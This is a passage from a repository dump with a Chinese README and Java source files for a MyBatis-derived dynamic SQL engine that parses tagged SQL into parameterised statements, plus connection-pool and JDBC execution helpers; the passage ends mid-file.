    "content": "# 概述\n\n- jun-mybatis-sql-engine是一个动态sql解析，抽取了mybatis源码SQL解析模块，相当于mybatis中的动态sql解析功能的抽取，主要是各种标签的XML解析，用法跟Mybatis的XML的SQL写法是一样的\n- 类似mybatis的功能，解析带标签的动态sql，生成`?`占位符的sql和`?`对应的参数列表。\n- 支持 `<if>` `<foreach>` `<where>` `<set>` `<trim>`\n\n# 使用教程\n\n- 在自己的maven项目中引入maven坐标\n```xml\n<dependency>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-mybatis-sql-engine</artifactId>\n    <version>1.0.0-RELEASE</version>\n</dependency>\n```\n\n- 核心api\n```\nDynamicSqlEngine engine = new DynamicSqlEngine();\nSqlMeta sqlMeta = engine.parse(sql, map);\n```\n- 示例\n```\n@Test\npublic void testForeachIF() {\n\tDynamicSqlEngine engine = new DynamicSqlEngine();\n\tString sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n\tMap<String, Object> map = new HashMap<>();\n\n\tArrayList<model.User> arrayList = new ArrayList<>();\n\tarrayList.add(new model.User(10, \"tom\"));\n\tarrayList.add(new model.User(11, \"jerry\"));\n\tmap.put(\"list\", arrayList.toArray());\n\tmap.put(\"id\", 100);\n\n\tSqlMeta sqlMeta = engine.parse(sql, map);\n\tSystem.out.println(sqlMeta.getSql());\n\tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n}\n\n```\n\n- 示例执行结果：\n```\n\nselect * from user where name in  ( ? , ? ) \ntom\njerry\n```\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/DataSourcePool.java",
    "content": "package io.github.wujun728.sql;\n\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.log.StaticLog;\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.sql.DataSource;\nimport java.io.Closeable;\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.concurrent.ConcurrentHashMap;\n\n@Slf4j\npublic class DataSourcePool {\n\n    public static final String main = \"main\";\n\n    public static final String mysqlDriver5 = \"com.mysql.jdbc.Driver\";\n    public static final String mysqlDriver6 = \"com.mysql.cj.jdbc.Driver\";\n    public static final String postgresqlDriver6 = \"org.postgresql.Driver\";\n    public static final String oracleDriver6 = \"oracle.jdbc.driver.OracleDriver\";\n    public static final String sqlserverDriver6 = \"com.microsoft.sqlserver.jdbc.SQLServerDriver\";\n\n    private static final ConcurrentHashMap<String, DataSource> dataSourceMap = new ConcurrentHashMap<>();\n\n    /**\n     * 连接池工厂实例，启动时按优先级自动检测：Druid > HikariCP。\n     * 使用独立内部类隔离类引用，未引入的连接池 jar 不会触发 NoClassDefFoundError。\n     */\n    private static final PoolFactory poolFactory = detectPoolFactory();\n\n    // ==================== 连接池工厂抽象 ====================\n\n    private interface PoolFactory {\n        DataSource create(String name, String url, String username, String password, String driver);\n        String type();\n    }\n\n    /** Druid 连接池工厂 */\n    private static class DruidPoolFactory implements PoolFactory {\n        @Override\n        public DataSource create(String name, String url, String username, String password, String driver) {\n            com.alibaba.druid.pool.DruidDataSource ds = new com.alibaba.druid.pool.DruidDataSource();\n            ds.setName(name);\n            ds.setUrl(url);\n            ds.setUsername(username);\n            ds.setPassword(password);\n            ds.setDriverClassName(driver);\n            ds.setConnectionErrorRetryAttempts(3);\n            ds.setBreakAfterAcquireFailure(true);\n            return ds;\n        }\n\n        @Override\n        public String type() {\n            return \"Druid\";\n        }\n    }\n\n    /** HikariCP 连接池工厂 */\n    private static class HikariPoolFactory implements PoolFactory {\n        @Override\n        public DataSource create(String name, String url, String username, String password, String driver) {\n            com.zaxxer.hikari.HikariConfig config = new com.zaxxer.hikari.HikariConfig();\n            config.setPoolName(name);\n            config.setJdbcUrl(url);\n            config.setUsername(username);\n            config.setPassword(password);\n            config.setDriverClassName(driver);\n            config.setConnectionTimeout(30000);\n            config.setMaximumPoolSize(10);\n            return new com.zaxxer.hikari.HikariDataSource(config);\n        }\n\n        @Override\n        public String type() {\n            return \"HikariCP\";\n        }\n    }\n\n    private static PoolFactory detectPoolFactory() {\n        // 优先级：Druid > HikariCP\n        try {\n            Class.forName(\"com.alibaba.druid.pool.DruidDataSource\");\n            StaticLog.info(\"检测到 Druid 连接池依赖，使用 Druid\");\n            return new DruidPoolFactory();\n        } catch (ClassNotFoundException ignored) {\n        }\n        try {\n            Class.forName(\"com.zaxxer.hikari.HikariDataSource\");\n            StaticLog.info(\"检测到 HikariCP 连接池依赖，使用 HikariCP\");\n            return new HikariPoolFactory();\n        } catch (ClassNotFoundException ignored) {\n        }\n        throw new RuntimeException(\"未找到可用的数据库连接池依赖，请引入 druid 或 HikariCP\");\n    }\n\n    // ==================== 公开 API ====================\n\n    public static DataSource init(String dsname, String url, String username, String password) {\n        return init(dsname, url, username, password, identifyDatabaseTypeFromJdbcUrl(url));\n    }\n\n    public static String identifyDatabaseTypeFromJdbcUrl(String jdbcUrl) {\n        if (jdbcUrl.startsWith(\"jdbc:mysql:\")) {\n            return mysqlDriver5;\n        } else if (jdbcUrl.startsWith(\"jdbc:postgresql:\")) {\n            return postgresqlDriver6;\n        } else if (jdbcUrl.startsWith(\"jdbc:oracle:\")) {\n            return oracleDriver6;\n        } else if (jdbcUrl.startsWith(\"jdbc:sqlserver:\")) {\n            return sqlserverDriver6;\n        } else {\n            return \"Unknown\";\n        }\n    }\n\n    /**\n     * 初始化数据源，如果已存在则直接返回。\n     * 使用 computeIfAbsent 保证同一 key 的原子性创建，不同 key 之间互不阻塞。\n     */\n    public static DataSource init(String dsname, String url, String username, String password, String driver) {\n        return dataSourceMap.computeIfAbsent(dsname, key -> {\n            DataSource ds = poolFactory.create(key, url, username, password, driver);\n            StaticLog.info(\"创建{}连接池成功：{}\", poolFactory.type(), key);\n            return ds;\n        });\n    }\n\n    public static void init(String dsname, DataSource dataSource) {\n        DataSource existing = dataSourceMap.putIfAbsent(dsname, dataSource);\n        if (existing == null) {\n            StaticLog.info(\"添加连接池成功：{}\", dsname);\n        }\n    }\n\n    public static DataSource get(String dsname) {\n        if (StrUtil.isEmpty(dsname)) {\n            return null;\n        }\n        return dataSourceMap.get(dsname);\n    }\n\n    /**\n     * 删除并关闭数据库连接池。\n     * 通过 Closeable 接口统一关闭，兼容 Druid、HikariCP 及其他实现。\n     */\n    public static void remove(String dsname) {\n        DataSource removed = dataSourceMap.remove(dsname);\n        if (removed == null) {\n            return;\n        }\n        if (removed instanceof Closeable) {\n            try {\n                ((Closeable) removed).close();\n            } catch (IOException e) {\n                StaticLog.error(\"关闭连接池失败：{}, {}\", dsname, e.getMessage());\n            }\n        }\n        StaticLog.info(\"关闭并移除连接池：{}\", dsname);\n    }\n\n    public static Connection getConnection(String dsname) throws SQLException {\n        DataSource dataSource = get(dsname);\n        if (dataSource == null) {\n            throw new SQLException(\"数据源不存在：\" + dsname);\n        }\n        return dataSource.getConnection();\n    }\n\n    public static ConcurrentHashMap<String, DataSource> getDataSourceMap() {\n        return dataSourceMap;\n    }\n\n    /** 获取当前使用的连接池类型名称 */\n    public static String getPoolType() {\n        return poolFactory.type();\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/SqlEngine.java",
    "content": "package io.github.wujun728.sql;\n\n//import com.alibaba.fastjson2.JSONObject;\n\nimport cn.hutool.json.JSONObject;\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\npublic class SqlEngine {\n\t\n\tstatic DynamicSqlEngine engine = new DynamicSqlEngine();\n\n\tpublic static DynamicSqlEngine getEngine() {\n\t\treturn engine;\n\t}\n\n\n\n\t/**\n\t * 1、查询返回List<JSONObject>\n\t * 2、新增、修改、删除返回int，成功条数。\n\t * 3、连接没有关闭，需要在调用方关闭\n\t * @param connection\n\t * @param sql\n\t * @return\n\t */\n\tpublic static Object executeSql(Connection connection, String sql, Map<String, Object> sqlParam,Boolean closeConn) throws SQLException {\n\t\tObject obj = executeSql(connection,sql,sqlParam);\n\t\tif(closeConn){\n\t\t\tconnection.close();\n\t\t}\n\t\treturn obj;\n\t}\n\tpublic static Object executeSql(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n\t\tSqlMeta sqlMeta = SqlEngine.getEngine().parse(sql, sqlParam);\n\t\treturn SqlEngine.executeSql(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n\t}\n\tpublic static Object executeSql(Connection connection, String sql, List<Object> jdbcParamValues)\n\t\t\tthrows SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n\t\tPreparedStatement statement = connection.prepareStatement(sql);\n\t\t// 参数注入\n\t\tfor (int i = 1; i <= jdbcParamValues.size(); i++) {\n\t\t\tstatement.setObject(i, jdbcParamValues.get(i - 1));\n\t\t}\n\t\tboolean hasResultSet = statement.execute();\n\n\t\tif (hasResultSet) {\n\t\t\tResultSet rs = statement.getResultSet();\n\t\t\tint columnCount = rs.getMetaData().getColumnCount();\n\n\t\t\tList<String> columns = new ArrayList<>();\n\t\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\t\tString columnName = rs.getMetaData().getColumnLabel(i);\n\t\t\t\tcolumns.add(columnName);\n\t\t\t}\n\t\t\tList<JSONObject> list = new ArrayList<>();\n\t\t\twhile (rs.next()) {\n\t\t\t\tJSONObject jo = new JSONObject();\n\t\t\t\tcolumns.stream().forEach(t -> {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tObject value = rs.getObject(t);\n\t\t\t\t\t\tjo.put(t, value);\n\t\t\t\t\t\tif(value==null) {\n\t\t\t\t\t\t\tjo.put(t, \"\");\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (SQLException throwables) {\n\t\t\t\t\t\tthrowables.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tlist.add(jo);\n\t\t\t}\n\t\t\treturn list;\n\t\t} else {\n\t\t\tint updateCount = statement.getUpdateCount();\n\t\t\tSystem.out.println(\"[\"+updateCount + \"] rows affected\");\n\t\t\treturn updateCount;\n\t\t}\n\n\t}\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/SqlMeta.java",
    "content": "package io.github.wujun728.sql;\n\nimport java.util.List;\n\n\npublic class SqlMeta {\n\n    String sql;\n    List<Object> jdbcParamValues;\n\n    public SqlMeta(String sql, List<Object> jdbcParamValues) {\n        this.sql = sql;\n        this.jdbcParamValues = jdbcParamValues;\n    }\n\n    public String getSql() {\n        return sql;\n    }\n\n    public void setSql(String sql) {\n        this.sql = sql;\n    }\n\n    public List<Object> getJdbcParamValues() {\n        return jdbcParamValues;\n    }\n\n    public void setJdbcParamValues(List<Object> jdbcParamValues) {\n        this.jdbcParamValues = jdbcParamValues;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/SqlXmlUtil.java",
    "content": "package io.github.wujun728.sql;\n\nimport cn.hutool.json.JSONObject;\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\n\nimport java.sql.*;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class SqlXmlUtil {\n\t\n\tstatic DynamicSqlEngine engine = new DynamicSqlEngine();\n\n\tpublic static DynamicSqlEngine getEngine() {\n\t\treturn engine;\n\t}\n\n\n\n\t/**\n\t * 1、查询返回List<JSONObject>\n\t * 2、新增、修改、删除返回int，成功条数。\n\t * 3、连接没有关闭，需要在调用方关闭\n\t * @param connection\n\t * @param sql\n\t * @return\n\t */\n\tpublic static Object executeSql(Connection connection, String sql, Map<String, Object> sqlParam,Boolean closeConn) throws SQLException {\n\t\tObject obj = executeSql(connection,sql,sqlParam);\n\t\tif(closeConn){\n\t\t\tconnection.close();\n\t\t}\n\t\treturn obj;\n\t}\n\tpublic static Object executeSql(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n\t\tSqlMeta sqlMeta = SqlXmlUtil.getEngine().parse(sql, sqlParam);\n\t\treturn SqlXmlUtil.executeSql(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n\t}\n\tpublic static Object executeSql(Connection connection, String sql, List<Object> jdbcParamValues)\n\t\t\tthrows SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n\t\tPreparedStatement statement = connection.prepareStatement(sql);\n\t\t// 参数注入\n\t\tfor (int i = 1; i <= jdbcParamValues.size(); i++) {\n\t\t\tstatement.setObject(i, jdbcParamValues.get(i - 1));\n\t\t}\n\t\tboolean hasResultSet = statement.execute();\n\n\t\tif (hasResultSet) {\n\t\t\tResultSet rs = statement.getResultSet();\n\t\t\tint columnCount = rs.getMetaData().getColumnCount();\n\n\t\t\tList<String> columns = new ArrayList<>();\n\t\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\t\tString columnName = rs.getMetaData().getColumnLabel(i);\n\t\t\t\tcolumns.add(columnName);\n\t\t\t}\n\t\t\tList<JSONObject> list = new ArrayList<>();\n\t\t\twhile (rs.next()) {\n\t\t\t\tJSONObject jo = new JSONObject();\n\t\t\t\tcolumns.stream().forEach(t -> {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tObject value = rs.getObject(t);\n\t\t\t\t\t\tjo.put(t, value);\n\t\t\t\t\t\tif(value==null) {\n\t\t\t\t\t\t\tjo.put(t, \"\");\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (SQLException throwables) {\n\t\t\t\t\t\tthrowables.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tlist.add(jo);\n\t\t\t}\n\t\t\treturn list;\n\t\t} else {\n\t\t\tint updateCount = statement.getUpdateCount();\n\t\t\tSystem.out.println(\"[\"+updateCount + \"] rows affected\");\n\t\t\treturn updateCount;\n\t\t}\n\t}\n\n\tpublic static int update(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n\t\tSqlMeta sqlMeta = SqlXmlUtil.getEngine().parse(sql, sqlParam);\n\t\treturn SqlXmlUtil.update(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n\t}\n\tpublic static int update(Connection connection, String sql) throws SQLException {\n\t\treturn update(connection,sql,new ArrayList<>());\n\t}\n\tpublic static int update(Connection connection, String sql, List<Object> jdbcParamValues) throws SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n\t\tPreparedStatement statement = connection.prepareStatement(sql);\n\t\t// 参数注入\n\t\tfor (int i = 1; i <= jdbcParamValues.size(); i++) {\n\t\t\tstatement.setObject(i, jdbcParamValues.get(i - 1));\n\t\t}\n\t\tboolean hasResultSet = statement.execute();\n\n\t\tif (hasResultSet) {\n\t\t\tthrow new RuntimeException(\"查询脚本调用query方法\");\n\t\t} else {\n\t\t\tint updateCount = statement.getUpdateCount();\n\t\t\tSystem.out.println(\"[\"+updateCount + \"] rows affected\");\n\t\t\treturn updateCount;\n\t\t}\n\t}\n\n\tpublic static List<Map<String,Object>> query(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n\t\tSqlMeta sqlMeta = SqlXmlUtil.getEngine().parse(sql, sqlParam);\n\t\treturn SqlXmlUtil.query(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n\t}\n\n\tpublic static List<Map<String,Object>> query(Connection connection, String sql) throws SQLException {\n\t\treturn query(connection,sql,new ArrayList<>());\n\t}\n\tpublic static List<Map<String,Object>> query(Connection connection, String sql, List<Object> jdbcParamValues) throws SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n\t\tPreparedStatement statement = connection.prepareStatement(sql);\n\t\t// 参数注入\n\t\tfor (int i = 1; i <= jdbcParamValues.size(); i++) {\n\t\t\tstatement.setObject(i, jdbcParamValues.get(i - 1));\n\t\t}\n\t\tboolean hasResultSet = statement.execute();\n\n\t\tif (hasResultSet) {\n\t\t\tResultSet rs = statement.getResultSet();\n\t\t\tint columnCount = rs.getMetaData().getColumnCount();\n\n\t\t\tList<String> columns = new ArrayList<>();\n\t\t\tfor (int i = 1; i <= columnCount; i++) {\n\t\t\t\tString columnName = rs.getMetaData().getColumnLabel(i);\n\t\t\t\tcolumns.add(columnName);\n\t\t\t}\n\t\t\tList<Map<String,Object>> list = new ArrayList<>();\n\t\t\twhile (rs.next()) {\n\t\t\t\t//JSONObject jo = new JSONObject();\n\t\t\t\tMap<String,Object> jo = new HashMap<>();\n\t\t\t\tcolumns.stream().forEach(t -> {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tObject value = rs.getObject(t);\n\t\t\t\t\t\tjo.put(t, value);\n\t\t\t\t\t\tif(value==null) {\n\t\t\t\t\t\t\tjo.put(t, null);\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (SQLException throwables) {\n\t\t\t\t\t\tthrowables.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tlist.add(jo);\n\t\t\t}\n\t\t\tconnection.close();\n\t\t\treturn list;\n\t\t} else {\n\t\t\tconnection.close();\n\t\t\tthrow new RuntimeException(\"修改脚本调用update方法\");\n\t\t}\n\n\t}\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/context/Context.java",
    "content": "package io.github.wujun728.sql.context;\n\nimport java.util.*;\n\nimport io.github.wujun728.sql.util.OgnlUtil;\n\n\npublic class Context {\n\n    StringBuilder sqlBuilder = new StringBuilder();\n    List<Object> jdbcParameters = new ArrayList<>();\n    Set<String> paramNames = new HashSet<>();\n\n    //    List<Object> jdbcParameterNames = new ArrayList<>();\n    Map<String, Object> data;\n\n    public Context(Map<String, Object> data) {\n        this.data = data;\n    }\n\n    public void appendSql(String text) {\n        if (text != null)\n            sqlBuilder.append(text);\n    }\n\n    public void addParameter(Object o) {\n        jdbcParameters.add(o);\n    }\n\n    public void addParameterName(String o) {\n        paramNames.add(o);\n    }\n\n    /**\n     * 通过ognl表达式获取值\n     *\n     * @param expression\n     * @return\n     */\n    public Object getOgnlValue(String expression) {\n        return OgnlUtil.getValue(expression, data);\n    }\n\n    public Boolean getOgnlBooleanValue(String expression) {\n        return OgnlUtil.getBooleanValue(expression, data);\n    }\n\n    public String getSql() {\n        return sqlBuilder.toString();\n    }\n\n    public void setSql(String text) {\n        sqlBuilder = new StringBuilder(text);\n    }\n\n    public List<Object> getJdbcParameters() {\n        return jdbcParameters;\n    }\n\n    public Map<String, Object> getData() {\n        return data;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/engine/Cache.java",
    "content": "package io.github.wujun728.sql.engine;\n\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport io.github.wujun728.sql.node.SqlNode;\n\n\npublic class Cache {\n\n    ConcurrentHashMap<String, SqlNode> nodeCache = new ConcurrentHashMap<>();\n\n    public ConcurrentHashMap<String, SqlNode> getNodeCache() {\n        return nodeCache;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/engine/DynamicSqlEngine.java",
    "content": "package io.github.wujun728.sql.engine;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\n\nimport io.github.wujun728.sql.SqlMeta;\nimport io.github.wujun728.sql.context.Context;\nimport io.github.wujun728.sql.node.SqlNode;\nimport io.github.wujun728.sql.tag.XmlParser;\nimport io.github.wujun728.sql.token.TokenHandler;\nimport io.github.wujun728.sql.token.TokenParser;\n\n\npublic class DynamicSqlEngine {\n\n    Cache cache = new Cache();\n\n    public SqlMeta parse(String text, Map<String, Object> params) {\n        text = String.format(\"<root>%s</root>\", text);\n        SqlNode sqlNode = parseXml2SqlNode(text);\n        Context context = new Context(params);\n        parseSqlText(sqlNode, context);\n        parseParameter(context);\n        SqlMeta sqlMeta = new SqlMeta(context.getSql(), context.getJdbcParameters());\n        return sqlMeta;\n    }\n\n    public Set<String> parseParameter(String text) {\n        text = String.format(\"<root>%s</root>\", text);\n        SqlNode sqlNode = parseXml2SqlNode(text);\n        HashSet<String> set = new HashSet<>();\n        sqlNode.applyParameter(set);\n        return set;\n    }\n\n    private SqlNode parseXml2SqlNode(String text) {\n        SqlNode node = cache.getNodeCache().get(text);\n        if (node == null) {\n            node = XmlParser.parseXml2SqlNode(text);\n            cache.getNodeCache().put(text, node);\n        }\n        return node;\n    }\n\n    /**\n     * 解析标签，去除标签，替换 ${}为常量值, #{}保留不变\n     *\n     * @param sqlNode\n     * @param context\n     */\n    private void parseSqlText(SqlNode sqlNode, Context context) {\n        sqlNode.apply(context);\n    }\n\n    /**\n     * #{}替换成?，并且将?对应的参数值按顺序保存起来\n     *\n     * @param context\n     */\n    private void parseParameter(Context context) {\n        TokenParser tokenParser = new TokenParser(\"#{\", \"}\", new TokenHandler() {\n            @Override\n            public String handleToken(String content) {\n                Object value = context.getOgnlValue(content);\n                if (value == null) {\n                    throw new RuntimeException(\"could not found value : \" + content);\n                }\n                context.addParameter(value);\n                return \"?\";\n            }\n        });\n        String sql = tokenParser.parse(context.getSql());\n        context.setSql(sql);\n    }\n\n    public static void main(String[] args) {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<root>select <if test='minId != null'>id > ${minId} #{minId} <if test='maxId != null'> and id &lt; ${maxId} #{maxId}</if> </if></root>\");\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"minId\", 100);\n        map.put(\"maxId\", 500);\n        engine.parse(sql, map);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/node/ForeachSqlNode.java",
    "content": "package io.github.wujun728.sql.node;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport io.github.wujun728.sql.context.Context;\nimport io.github.wujun728.sql.token.TokenHandler;\nimport io.github.wujun728.sql.token.TokenParser;\nimport io.github.wujun728.sql.util.OgnlUtil;\nimport io.github.wujun728.sql.util.RegexUtil;\n\n\npublic class ForeachSqlNode implements SqlNode {\n\n    String collection;\n    String open;\n    String close;\n    String separator;\n    String item;\n    String index;\n    SqlNode contents;\n\n    String indexDataName;\n\n    public ForeachSqlNode(String collection, String open, String close, String separator, String item, String index, SqlNode contents) {\n        this.collection = collection;\n        this.open = open;\n        this.close = close;\n        this.separator = separator;\n        this.item = item;\n        this.index = index;\n        this.contents = contents;\n\n        this.indexDataName = String.format(\"__index_%s\", collection);\n    }\n\n    @Override\n    public void apply(Context context) {\n        context.appendSql(\" \");//标签类SqlNode先拼接空格，和前面的内容隔开\n        Iterable<?> iterable = OgnlUtil.getIterable(collection, context.getData());\n        int currentIndex = 0;\n\n        ArrayList<Integer> indexs = new ArrayList<>();\n\n        context.getData().put(indexDataName, indexs);\n        context.appendSql(open);\n\n        for (Object o : iterable) {\n\n            ((ArrayList<Integer>) context.getData().get(indexDataName)).add(currentIndex);\n            //不是第一次，需要拼接分隔符\n            if (currentIndex != 0) {\n                context.appendSql(separator);\n            }\n\n            Context proxy = new Context(context.getData());\n            String childSqlText = getChildText(proxy, currentIndex);\n            context.appendSql(childSqlText);\n\n            currentIndex++;\n        }\n\n        context.appendSql(close);\n\n    }\n\n    @Override\n    public void applyParameter(Set<String> set) {\n        set.add(collection);\n        Set<String> temp = new HashSet<>();\n        contents.applyParameter(set);\n        for (String key: temp){\n            if (key.matches(item + \"[.,:\\\\s\\\\[]\"))\n                continue;\n            if (key.matches(index + \"[.,:\\\\s\\\\[]\"))\n                continue;\n            set.add(key);\n        }\n    }\n\n    public String getChildText(Context proxy, int currentIndex) {\n        String newItem = String.format(\"%s[%d]\", collection, currentIndex);  //ognl可以直接获取  aaa[0]  形式的值\n        String newIndex = String.format(\"%s[%d]\", indexDataName, currentIndex);\n        this.contents.apply(proxy);\n        String sql = proxy.getSql();\n        TokenParser tokenParser = new TokenParser(\"#{\", \"}\", new TokenHandler() {\n            @Override\n            public String handleToken(String content) {\n                //item替换成自己的变量名: item[0]  item[1] item[2] ......\n                String replace = RegexUtil.replace(content, item, newItem);\n                if (replace.equals(content))\n                    //index替换成自己的变量名: __index_xxx[0]  __index_xxx[1] __index_xxx[2] ......\n                    replace = RegexUtil.replace(content, index, newIndex);\n                StringBuilder builder = new StringBuilder();\n                return builder.append(\"#{\").append(replace).append(\"}\").toString();\n            }\n        });\n        String parse = tokenParser.parse(sql);\n        return parse;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/node/IfSqlNode.java",
    "content": "package io.github.wujun728.sql.node;\n\nimport java.util.Set;\n\nimport io.github.wujun728.sql.context.Context;\n\n\npublic class IfSqlNode implements SqlNode {\n\n    String test;\n\n    SqlNode contents;\n\n    public IfSqlNode(String test, SqlNode contents) {\n        this.test = test;\n        this.contents = contents;\n    }\n\n    @Override\n    public void apply(Context context) {\n        Boolean value = context.getOgnlBooleanValue(test);\n        if (value) {\n            context.appendSql(\" \");//标签类SqlNode先拼接空格，和前面的内容隔开\n            contents.apply(context);\n        }\n\n    }\n\n    @Override\n    public void applyParameter(Set<String> set) {\n        contents.applyParameter(set);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/node/MixedSqlNode.java",
    "content": "package io.github.wujun728.sql.node;\n\nimport java.util.List;\nimport java.util.Set;\n\nimport io.github.wujun728.sql.context.Context;\n\n\npublic class MixedSqlNode implements SqlNode {\n\n    List<SqlNode> contents ;\n\n    public MixedSqlNode(List<SqlNode> contents) {\n        this.contents = contents;\n    }\n\n    @Override\n    public void apply(Context context) {\n        for (SqlNode node: contents){\n            node.apply(context);\n        }\n    }\n\n    @Override\n    public void applyParameter(Set<String> set) {\n        for (SqlNode node: contents){\n            node.applyParameter(set);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/node/SetSqlNode.java",
    "content": "package io.github.wujun728.sql.node;\n\nimport java.util.Arrays;\n\n\npublic class SetSqlNode extends TrimSqlNode {\n\n    public SetSqlNode(SqlNode contents) {\n        super(contents, \"SET \", null, null, Arrays.asList(\",\"));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/node/SqlNode.java",
    "content": "package io.github.wujun728.sql.node;\n\nimport java.util.Set;\n\nimport io.github.wujun728.sql.context.Context;\n\n\npublic interface SqlNode {\n\n    void apply(Context context);\n\n    void applyParameter(Set<String> set);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/node/TextSqlNode.java",
    "content": "package io.github.wujun728.sql.node;\n\nimport java.util.Set;\n\nimport io.github.wujun728.sql.context.Context;\nimport io.github.wujun728.sql.token.TokenHandler;\nimport io.github.wujun728.sql.token.TokenParser;\n\n\npublic class TextSqlNode implements SqlNode {\n\n    String text;\n\n    public TextSqlNode(String text) {\n        this.text = text;\n    }\n\n    @Override\n    public void apply(Context context) {\n        //解析常量值 ${xxx}\n        TokenParser tokenParser = new TokenParser(\"${\", \"}\", new TokenHandler() {\n            @Override\n            public String handleToken(String paramName) {\n                Object value = context.getOgnlValue(paramName);\n                return value == null ? \"\" : value.toString();\n            }\n        });\n        String s = tokenParser.parse(text);\n\n\n        context.appendSql(s);\n\n    }\n\n    @Override\n    public void applyParameter(Set<String> set) {\n        TokenParser tokenParser = new TokenParser(\"${\", \"}\", new TokenHandler() {\n            @Override\n            public String handleToken(String paramName) {\n                set.add(paramName);\n                return paramName;\n            }\n        });\n        String s = tokenParser.parse(text);\n\n        TokenParser tokenParser2 = new TokenParser(\"#{\", \"}\", new TokenHandler() {\n            @Override\n            public String handleToken(String paramName) {\n                set.add(paramName);\n                return paramName;\n            }\n        });\n        tokenParser2.parse(s);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/node/TrimSqlNode.java",
    "content": "package io.github.wujun728.sql.node;\n\nimport org.apache.commons.lang3.StringUtils;\n\nimport io.github.wujun728.sql.context.Context;\n\nimport java.util.List;\nimport java.util.Set;\n\n\npublic class TrimSqlNode implements SqlNode {\n\n    SqlNode contents;\n    String prefix;\n    String suffix;\n    List<String> prefixesToOverride;\n    List<String> suffixesToOverride;\n\n    public TrimSqlNode(SqlNode contents, String prefix, String suffix, List<String> prefixesToOverride, List<String> suffixesToOverride) {\n        this.contents = contents;\n        this.prefix = prefix;\n        this.suffix = suffix;\n        this.prefixesToOverride = prefixesToOverride;\n        this.suffixesToOverride = suffixesToOverride;\n    }\n\n    @Override\n    public void apply(Context context) {\n        context.appendSql(\" \");//标签类SqlNode先拼接空格，和前面的内容隔开\n        Context proxy = new Context(context.getData());\n//        FilterContext filterContext = new FilterContext(context);\n        contents.apply(proxy);\n        String sql = proxy.getSql().trim();\n\n        if (sql.length() > 0) {\n            if (prefixesToOverride != null)\n                for (String key : prefixesToOverride) {\n                    if (sql.startsWith(key)) {\n                        sql = sql.substring(key.length());\n                    }\n                }\n            if (suffixesToOverride != null)\n                for (String key : suffixesToOverride) {\n                    if (sql.endsWith(key)) {\n                        sql = sql.substring(0, sql.length() - 